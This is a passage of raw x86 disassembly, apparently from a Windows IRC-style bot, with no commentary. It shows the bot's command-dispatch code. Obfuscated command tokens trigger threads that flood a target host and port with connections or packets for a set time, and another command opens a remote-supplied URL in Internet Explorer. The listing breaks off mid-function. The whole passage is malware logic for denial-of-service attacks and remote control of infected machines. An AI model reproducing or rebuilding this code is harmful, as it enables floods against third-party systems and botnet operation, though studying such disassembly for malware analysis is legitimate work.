		jnz	short loc_4122C7
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSSDForDSecS ; "%s --> (%s:%d) for %d sec's"
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_4122C1:				; CODE XREF: sub_40A9FE+7890j
		cmp	[ebp+arg_18], 0
		jz	short loc_4122F1


loc_4122C7:				; CODE XREF: sub_40A9FE+7896j
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSSDForDSecS ; "%s --> (%s:%d) for %d sec's"
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 1Ch


loc_4122F1:				; CODE XREF: sub_40A9FE+78C7j
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSSForDSecS ; "%s --> (%s) for %d sec's"
		push	0Dh
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_1298],	eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_139C]
		push	edi
		push	eax
		push	offset sub_422A88
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_1298]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jnz	short loc_4123A1
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_412382
		cmp	[ebp+arg_18], 0
		jnz	short loc_41238C
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_412382:				; CODE XREF: sub_40A9FE+7960j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_41238C:				; CODE XREF: sub_40A9FE+7966j
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		jmp	loc_412201
; ---------------------------------------------------------------------------


loc_412399:				; CODE XREF: sub_40A9FE+79AAj
		push	32h
		call	dword_437190	; Sleep


loc_4123A1:				; CODE XREF: sub_40A9FE+794Fj
		cmp	[ebp+var_127C],	0
		jz	short loc_412399
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_4123AF:				; CODE XREF: sub_40A9FE+7798j
					; sub_40A9FE+77A1j ...
		mov	edi, offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
		jmp	loc_40BF10
; ---------------------------------------------------------------------------


loc_4123B9:				; CODE XREF: sub_40A9FE+778Dj
		push	dword ptr [ebx]
		push	offset aWt4rnWgl6v_ ; "wt4Rn/WGL6V."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4123D0
		push	offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
		jmp	loc_4128A9
; ---------------------------------------------------------------------------


loc_4123D0:				; CODE XREF: sub_40A9FE+79C6j
		push	dword ptr [ebx]
		push	offset aW1w2v121jsp_ ; "w1w2V121JSP."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_41255A
		cmp	[ebx+4], eax
		jz	loc_412691
		cmp	[ebx+8], eax
		jz	loc_412691
		cmp	[ebx+0Ch], eax
		jz	loc_412691
		cmp	[ebx+10h], eax
		jz	loc_412691
		push	0Dh
		call	sub_423800
		cmp	eax, 32h
		pop	ecx
		mov	[ebp+arg_C], eax
		jg	loc_4125A7
		mov	edi, [ebp+arg_18]
		lea	eax, [ebp+var_FB4]
		test	edi, edi
		jnz	short loc_41242B
		push	dword ptr [esi+0Ch]
		jmp	short loc_41242D
; ---------------------------------------------------------------------------


loc_41242B:				; CODE XREF: sub_40A9FE+7A26j
		push	dword ptr [esi]


loc_41242D:				; CODE XREF: sub_40A9FE+7A2Bj
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_1038],	eax
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_1034]
		push	eax
		call	sub_429D10
		push	dword ptr [ebx+8]
		call	sub_42A100
		mov	[ebp+var_F34], eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		mov	[ebp+var_F30], eax
		push	dword ptr [ebx+10h]
		call	sub_42A100
		mov	[ebp+var_F2C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_F24], edi
		mov	[ebp+var_F20], eax
		push	dword ptr [ebx+10h]
		call	sub_42A100
		add	esp, 1Ch
		push	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
		push	offset aSSDWithDConnSF ; "%s --> (%s:%d) with %d conn's for %d se"...
		push	0Dh
		call	sub_4234A7
		add	esp, 1Ch
		mov	[ebp+var_F28], eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_1038]
		push	edi
		push	eax
		push	offset sub_418AD3
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_F28]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jnz	short loc_41254C


loc_4124F5:				; CODE XREF: sub_40A9FE+7C75j
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_412528
		cmp	[ebp+arg_18], 0
		jnz	short loc_412532
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_412528:				; CODE XREF: sub_40A9FE+7B06j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_412532:				; CODE XREF: sub_40A9FE+7B0Cj
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_412544:				; CODE XREF: sub_40A9FE+7B55j
		push	32h
		call	dword_437190	; Sleep


loc_41254C:				; CODE XREF: sub_40A9FE+7AF5j
		cmp	[ebp+var_F1C], 0
		jz	short loc_412544
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_41255A:				; CODE XREF: sub_40A9FE+79DDj
		push	dword ptr [ebx]
		push	offset aVz62d1m0yya ; "Vz62d1m0Yya/"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_4126DE
		push	dword ptr [ebx]
		push	offset aF4c9z1ubcg80 ; "F4c9z1UBCg80"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_4126D1
		cmp	[ebx+4], eax
		jz	loc_412691
		cmp	[ebx+8], eax
		jz	loc_412691
		cmp	[ebx+0Ch], eax
		jz	loc_412691
		push	0Dh
		call	sub_423800
		cmp	eax, 32h
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_4125B1


loc_4125A7:				; CODE XREF: sub_40A9FE+7A15j
		mov	ebx, offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
		jmp	loc_40B964
; ---------------------------------------------------------------------------


loc_4125B1:				; CODE XREF: sub_40A9FE+7BA7j
		mov	edi, [ebp+arg_18]
		lea	eax, [ebp+var_18E4]
		test	edi, edi
		jnz	short loc_4125C3
		push	dword ptr [esi+0Ch]
		jmp	short loc_4125C5
; ---------------------------------------------------------------------------


loc_4125C3:				; CODE XREF: sub_40A9FE+7BBEj
		push	dword ptr [esi]


loc_4125C5:				; CODE XREF: sub_40A9FE+7BC3j
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_1968],	eax
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_1964]
		push	eax
		call	sub_429D10
		push	dword ptr [ebx+8]
		call	sub_42A100
		mov	[ebp+var_1860],	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		mov	[ebp+var_185C],	eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_1858],	edi
		mov	[ebp+var_1854],	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		add	esp, 18h
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
		push	offset aSSDWithDPacks ;	"%s -->	(%s:%d)	with %d	packs"
		push	0Dh
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_1864],	eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_1968]
		push	edi
		push	eax
		push	offset sub_428A78
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_1864]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jz	loc_4124F5
		jmp	short loc_412683
; ---------------------------------------------------------------------------


loc_41267B:				; CODE XREF: sub_40A9FE+7C8Cj
		push	32h
		call	dword_437190	; Sleep


loc_412683:				; CODE XREF: sub_40A9FE+7C7Bj
		cmp	[ebp+var_1850],	0
		jz	short loc_41267B
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_412691:				; CODE XREF: sub_40A9FE+79E6j
					; sub_40A9FE+79EFj ...
		cmp	[ebp+arg_14], 0
		mov	edi, offset aSS_1 ; "%s	%s"
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		jnz	short loc_4126BC
		cmp	[ebp+arg_18], 0
		jnz	short loc_4126C6
		push	ebx
		push	offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_4126BC:				; CODE XREF: sub_40A9FE+7CA1j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_4126C6:				; CODE XREF: sub_40A9FE+7CA7j
		push	ebx
		push	offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
		jmp	loc_40C891
; ---------------------------------------------------------------------------


loc_4126D1:				; CODE XREF: sub_40A9FE+7B78j
		push	dword ptr [ebx]
		push	offset a2yclo0srxpi ; "2YClO0SRxpi/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4126E8


loc_4126DE:				; CODE XREF: sub_40A9FE+7B67j
		push	offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
		jmp	loc_4128A9
; ---------------------------------------------------------------------------


loc_4126E8:				; CODE XREF: sub_40A9FE+7CDEj
		push	dword ptr [ebx]
		push	offset aH3yh9_xq_s2_ ; "h3YH9.Xq.S2."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_412897
		cmp	[ebx+4], eax
		jz	loc_412857
		cmp	[ebx+8], eax
		jz	loc_412857
		cmp	[ebx+0Ch], eax
		jz	loc_412857
		push	0Dh
		call	sub_423800
		cmp	eax, 32h
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_41272E
		mov	ebx, offset aSsoce0jbtxi ; "sSOce0JbTXI/"
		jmp	loc_40B964
; ---------------------------------------------------------------------------


loc_41272E:				; CODE XREF: sub_40A9FE+7D24j
		mov	edi, [ebp+arg_18]
		lea	eax, [ebp+var_17C8]
		test	edi, edi
		jnz	short loc_412740
		push	dword ptr [esi+0Ch]
		jmp	short loc_412742
; ---------------------------------------------------------------------------


loc_412740:				; CODE XREF: sub_40A9FE+7D3Bj
		push	dword ptr [esi]


loc_412742:				; CODE XREF: sub_40A9FE+7D40j
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_184C],	eax
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_1848]
		push	eax
		call	sub_429D10
		push	dword ptr [ebx+8]
		call	sub_42A100
		mov	[ebp+var_1748],	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		mov	[ebp+var_1744],	eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_1738],	edi
		mov	[ebp+var_1734],	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		add	esp, 18h
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	offset aSsoce0jbtxi ; "sSOce0JbTXI/"
		push	offset aSSDWithDPacks ;	"%s -->	(%s:%d)	with %d	packs"
		push	0Dh
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_173C],	eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_184C]
		push	edi
		push	eax
		push	offset sub_42757B
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_173C]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jnz	short loc_412849
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_412825
		cmp	[ebp+arg_18], 0
		jnz	short loc_41282F
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aSsoce0jbtxi ; "sSOce0JbTXI/"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_412825:				; CODE XREF: sub_40A9FE+7E03j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_41282F:				; CODE XREF: sub_40A9FE+7E09j
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aSsoce0jbtxi ; "sSOce0JbTXI/"
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_412841:				; CODE XREF: sub_40A9FE+7E52j
		push	32h
		call	dword_437190	; Sleep


loc_412849:				; CODE XREF: sub_40A9FE+7DF2j
		cmp	[ebp+var_1730],	0
		jz	short loc_412841
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_412857:				; CODE XREF: sub_40A9FE+7CFEj
					; sub_40A9FE+7D07j ...
		cmp	[ebp+arg_14], 0
		mov	edi, offset aSS_1 ; "%s	%s"
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		jnz	short loc_412882
		cmp	[ebp+arg_18], 0
		jnz	short loc_41288C
		push	ebx
		push	offset aSsoce0jbtxi ; "sSOce0JbTXI/"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_412882:				; CODE XREF: sub_40A9FE+7E67j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_41288C:				; CODE XREF: sub_40A9FE+7E6Dj
		push	ebx
		push	offset aSsoce0jbtxi ; "sSOce0JbTXI/"
		jmp	loc_40C891
; ---------------------------------------------------------------------------


loc_412897:				; CODE XREF: sub_40A9FE+7CF5j
		push	dword ptr [ebx]
		push	offset aIwbkf0o1om6Qrn ; "IwBKf0O1Om6/QRn4z10ge1I1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4128B0
		push	offset aSsoce0jbtxi ; "sSOce0JbTXI/"


loc_4128A9:				; CODE XREF: sub_40A9FE+6BB2j
					; sub_40A9FE+6C0Dj ...
		push	0Dh
		jmp	loc_412B29
; ---------------------------------------------------------------------------


loc_4128B0:				; CODE XREF: sub_40A9FE+7EA4j
		push	dword ptr [ebx]
		push	offset aEm42x_1iszi1 ; "Em42x.1IsZI1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_412B15
		xor	edi, edi
		cmp	[ebx+4], edi
		jz	loc_412FC9
		cmp	[ebx+8], edi
		jz	loc_412FC9
		cmp	[ebx+0Ch], edi
		jz	loc_412FC9
		cmp	[ebx+10h], edi
		jz	loc_412FC9
		cmp	[ebx+14h], edi
		jz	loc_412FC9
		push	0Eh
		call	sub_423800
		cmp	eax, 32h
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_412946


loc_412900:				; CODE XREF: sub_40A9FE+817Fj
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_41292E
		cmp	[ebp+arg_18], 0
		jnz	short loc_412938
		push	[ebp+arg_C]
		push	ebx
		push	offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_41292E:				; CODE XREF: sub_40A9FE+7F10j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_412938:				; CODE XREF: sub_40A9FE+7F16j
		push	[ebp+arg_C]
		push	ebx


loc_41293C:				; CODE XREF: sub_40A9FE+80FCj
		push	offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_412946:				; CODE XREF: sub_40A9FE+7F00j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_63DC],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_63E0],	eax
		cmp	eax, edi
		lea	eax, [ebp+var_6478]
		jnz	short loc_412967
		push	dword ptr [esi+0Ch]
		jmp	short loc_412969
; ---------------------------------------------------------------------------


loc_412967:				; CODE XREF: sub_40A9FE+7F62j
		push	dword ptr [esi]


loc_412969:				; CODE XREF: sub_40A9FE+7F67j
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		mov	edi, 3FFh
		push	edi
		mov	[ebp+var_6C7C],	eax
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_6C78]
		push	eax
		call	sub_429D10
		push	dword ptr [ebx+8]
		call	sub_42A100
		mov	[ebp+var_63F4],	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		mov	[ebp+var_63F0],	eax
		push	dword ptr [ebx+10h]
		call	sub_42A100
		add	esp, 18h
		cmp	eax, 1
		mov	[ebp+var_63E8],	eax
		jge	short loc_4129CA
		mov	edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		jmp	loc_413D77
; ---------------------------------------------------------------------------


loc_4129CA:				; CODE XREF: sub_40A9FE+7FC0j
		push	edi
		lea	eax, [ebp+var_6878]
		push	dword ptr [ebx+14h]
		push	eax
		call	sub_429D10
		xor	eax, eax
		add	esp, 0Ch
		cmp	[ebp+arg_60], eax
		mov	edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		setnz	al
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_63E4],	eax
		jnz	short loc_412A27
		cmp	[ebp+arg_18], 0
		jnz	short loc_412A2D
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSSDDPackets_ ; "%s --> (%s:%d) %d packets."
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_412A27:				; CODE XREF: sub_40A9FE+7FF6j
		cmp	[ebp+arg_18], 0
		jz	short loc_412A57


loc_412A2D:				; CODE XREF: sub_40A9FE+7FFCj
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSSDDPackets_ ; "%s --> (%s:%d) %d packets."
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 1Ch


loc_412A57:				; CODE XREF: sub_40A9FE+802Dj
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSSDDPackets_ ; "%s --> (%s:%d) %d packets."
		push	0Eh
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_63F8],	eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_6C7C]
		push	edi
		push	eax
		push	offset loc_41A08B
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_63F8]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jnz	short loc_412B07


loc_412AB5:				; CODE XREF: sub_40A9FE+8271j
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_412AE8
		cmp	[ebp+arg_18], 0
		jnz	short loc_412AF2
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_412AE8:				; CODE XREF: sub_40A9FE+80C6j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_412AF2:				; CODE XREF: sub_40A9FE+80CCj
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		jmp	loc_41293C
; ---------------------------------------------------------------------------


loc_412AFF:				; CODE XREF: sub_40A9FE+8110j
		push	32h
		call	dword_437190	; Sleep


loc_412B07:				; CODE XREF: sub_40A9FE+80B5j
		cmp	[ebp+var_63D8],	0
		jz	short loc_412AFF
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_412B15:				; CODE XREF: sub_40A9FE+7EBDj
		push	dword ptr [ebx]
		push	offset aErnniHm17t1qrn ; "ERNNi/HM17T1QRn4z10ge1I1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_412B3E
		push	offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		push	0Eh


loc_412B29:				; CODE XREF: sub_40A9FE+1096j
					; sub_40A9FE+189Dj ...
		xor	eax, eax
		cmp	[ebp+arg_18], eax
		push	eax
		push	[ebp+arg_20]
		jnz	loc_40BA99
		push	eax
		jmp	loc_412CA9
; ---------------------------------------------------------------------------


loc_412B3E:				; CODE XREF: sub_40A9FE+8122j
		push	dword ptr [ebx]
		push	offset aKmdie1uwntq ; "KmdIe1UwntQ/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_412C8D
		cmp	[ebx+4], eax
		jnz	short loc_412B6F
		cmp	[ebp+arg_14], eax
		mov	edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		jnz	loc_40BF3A
		cmp	[ebp+arg_18], eax
		jmp	loc_40BF1F
; ---------------------------------------------------------------------------


loc_412B6F:				; CODE XREF: sub_40A9FE+8154j
		push	0Eh
		call	sub_423800
		cmp	eax, 32h
		pop	ecx
		mov	[ebp+arg_C], eax
		jg	loc_412900
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_2644],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_2640],	eax
		test	eax, eax
		lea	eax, [ebp+var_26C8]
		jnz	short loc_412BA4
		push	dword ptr [esi+0Ch]
		jmp	short loc_412BA6
; ---------------------------------------------------------------------------


loc_412BA4:				; CODE XREF: sub_40A9FE+819Fj
		push	dword ptr [esi]


loc_412BA6:				; CODE XREF: sub_40A9FE+81A4j
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_27CC],	eax
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_27C8]
		push	eax
		call	sub_429D10
		mov	eax, [ebx+8]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_412BE3
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2748]
		push	eax
		call	sub_429D10
		add	esp, 0Ch


loc_412BE3:				; CODE XREF: sub_40A9FE+81D1j
		cmp	[ebp+arg_14], 0
		mov	edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		jnz	short loc_412C0B
		cmp	[ebp+arg_18], 0
		jnz	short loc_412C11
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSS__0	; "%s --> (%s)."
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_412C0B:				; CODE XREF: sub_40A9FE+81EEj
		cmp	[ebp+arg_18], 0
		jz	short loc_412C27


loc_412C11:				; CODE XREF: sub_40A9FE+81F4j
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSS__0	; "%s --> (%s)."
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 14h


loc_412C27:				; CODE XREF: sub_40A9FE+8211j
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSS__0	; "%s --> (%s)."
		push	0Eh
		call	sub_4234A7
		add	esp, 10h
		mov	[ebp+var_2648],	eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_27CC]
		push	edi
		push	eax
		push	offset sub_428248
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_2648]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jz	loc_412AB5
		jmp	short loc_412C7F
; ---------------------------------------------------------------------------


loc_412C77:				; CODE XREF: sub_40A9FE+8288j
		push	32h
		call	dword_437190	; Sleep


loc_412C7F:				; CODE XREF: sub_40A9FE+8277j
		cmp	[ebp+var_263C],	0
		jz	short loc_412C77
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_412C8D:				; CODE XREF: sub_40A9FE+814Bj
		push	dword ptr [ebx]
		push	offset aUpx0wCz2ei0qrn ; "UPx0W/cz2EI0QRn4z10ge1I1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_412CBF
		push	offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		push	0Eh


loc_412CA1:				; CODE XREF: sub_40A9FE+1D04j
		push	0
		push	[ebp+arg_20]
		push	[ebp+arg_18]


loc_412CA9:				; CODE XREF: sub_40A9FE+813Bj
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [esi+0Ch]


loc_412CB2:				; CODE XREF: sub_40A9FE+83j
					; sub_40A9FE+10A6j
		call	sub_423654


loc_412CB7:				; CODE XREF: sub_40A9FE+4CAj
					; sub_40A9FE+2305j
		add	esp, 20h
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_412CBF:				; CODE XREF: sub_40A9FE+829Aj
		push	dword ptr [ebx]
		push	offset aV6jbh0k4uD_ ; "V6jBH0k4u/d."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_412D6A
		mov	ebx, [ebx+4]
		test	ebx, ebx
		jz	loc_412FC9
		xor	edi, edi
		push	edi
		push	edi
		push	ebx
		push	offset aIexplore ; "iexplore"
		push	offset aOpen	; "open"
		push	edi
		call	dword_43725C
		test	eax, eax
		mov	ebx, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		jz	short loc_412D38
		cmp	[ebp+arg_14], 0
		mov	edi, offset aSSiteOpened_ ; "%s	Site opened."
		jnz	short loc_412D1B
		cmp	[ebp+arg_18], 0
		jnz	short loc_412D25
		push	ebx
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


loc_412D1B:				; CODE XREF: sub_40A9FE+8305j
		cmp	[ebp+arg_18], 0
		jz	loc_412FED


loc_412D25:				; CODE XREF: sub_40A9FE+830Bj
		push	ebx
		push	edi
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 10h
		xor	edi, edi
		jmp	short loc_412D56
; ---------------------------------------------------------------------------


loc_412D38:				; CODE XREF: sub_40A9FE+82FAj
		cmp	[ebp+arg_14], edi
		jnz	short loc_412D56
		cmp	[ebp+arg_18], edi
		jnz	short loc_412D5F
		push	ebx
		push	offset aSSiteFailedToO ; "%s Site failed to open."
		push	dword ptr [esi+0Ch]
